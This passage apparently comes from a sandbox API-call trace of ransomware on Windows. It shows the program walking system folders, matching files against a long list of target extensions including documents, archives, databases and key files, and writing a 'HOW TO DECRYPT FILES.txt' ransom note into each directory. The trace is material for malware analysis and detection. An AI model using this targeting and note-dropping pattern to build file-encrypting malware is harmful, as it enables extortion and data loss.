(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0110.344] lstrlenA (lpString="*.jpg") returned 5 [0110.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.png") returned 0 [0110.344] lstrlenA (lpString="*.png") returned 5 [0110.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.php") returned 0 [0110.344] lstrlenA (lpString="*.php") returned 5 [0110.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0110.344] lstrlenA (lpString="*.cs") returned 4 [0110.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0110.344] lstrlenA (lpString="*.cpp") returned 5 [0110.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0110.345] lstrlenA (lpString="*.rar") returned 5 [0110.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0110.345] lstrlenA (lpString="*.zip") returned 5 [0110.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.html") returned 0 [0110.345] lstrlenA (lpString="*.html") returned 6 [0110.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0110.345] lstrlenA (lpString="*.htm") returned 5 [0110.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0110.345] lstrlenA (lpString="*.xlsx") returned 6 [0110.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0110.345] lstrlenA (lpString="*.xls") returned 5 [0110.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0110.345] lstrlenA (lpString="*.mp4") returned 5 [0110.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0110.345] lstrlenA (lpString="*.ppt") returned 5 [0110.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0110.345] lstrlenA (lpString="*.pptx") returned 6 [0110.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0110.345] lstrlenA (lpString="*.doc") returned 5 [0110.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0110.345] lstrlenA (lpString="*.dot") returned 5 [0110.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0110.345] lstrlenA (lpString="*.docx") returned 6 [0110.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0110.346] lstrlenA (lpString="*.7z") returned 4 [0110.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0110.346] lstrlenA (lpString="*.tar") returned 5 [0110.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0110.346] lstrlenA (lpString="*.bz2") returned 5 [0110.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0110.346] lstrlenA (lpString="*.gz") returned 4 [0110.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0110.346] lstrlenA (lpString="*.mkv") returned 5 [0110.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0110.346] lstrlenA (lpString="*.eml") returned 5 [0110.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0110.346] lstrlenA (lpString="*.msg") returned 5 [0110.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0110.346] lstrlenA (lpString="*.edb") returned 5 [0110.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0110.346] lstrlenA (lpString="*.accdb") returned 7 [0110.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0110.346] lstrlenA (lpString="*.odb") returned 5 [0110.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.java") returned 0 [0110.346] lstrlenA (lpString="*.java") returned 6 [0110.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0110.346] lstrlenA (lpString="*.asm") returned 5 [0110.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0110.346] lstrlenA (lpString="*.pfx") returned 5 [0110.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0110.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0110.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0110.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0110.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0110.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0110.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0110.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0110.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0110.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0110.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0110.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0110.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0110.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0110.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0110.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0110.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0110.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0110.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0110.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0110.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0110.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0110.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0110.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0110.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0110.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0110.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0110.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0110.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0110.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0110.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0110.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0110.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0110.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0110.350] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61e34f40, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61e34f40, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x61e34f40, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0110.350] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0110.350] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bcd3a70, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4bdde410, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4bdde410, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="585e8f83eff436c8156f071e8f2bdaa0", cAlternateFileName="585E8F~1")) returned 1 [0110.350] lstrcmpA (lpString1=".", lpString2="585e8f83eff436c8156f071e8f2bdaa0") returned -1 [0110.350] lstrcmpA (lpString1="..", lpString2="585e8f83eff436c8156f071e8f2bdaa0") returned -1 [0110.350] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0110.350] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="585e8f83eff436c8156f071e8f2bdaa0" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0" [0110.351] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bcd3a70, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4bdde410, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4bdde410, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0110.399] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0110.399] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bcd3a70, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4bdde410, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4bdde410, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.399] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0110.399] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0110.399] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bcad910, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4bcad910, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4bcad910, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x1ca600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0110.399] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0110.399] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll") returned -1 [0110.399] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll") returned -1 [0110.399] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll") returned -1 [0110.399] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\*.*") returned="*.*" [0110.399] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\" [0110.400] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\") returned="" [0110.400] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\HOW TO DECRYPT FILES.txt" [0110.400] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\585e8f83eff436c8156f071e8f2bdaa0\\how to decrypt files.txt")) returned 0xffffffff [0110.400] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\585e8f83eff436c8156f071e8f2bdaa0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0110.448] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0110.449] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0110.449] CloseHandle (hObject=0x90) returned 1 [0110.450] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\", lpString2="Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll" [0110.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0110.450] lstrlenA (lpString="*.ems") returned 5 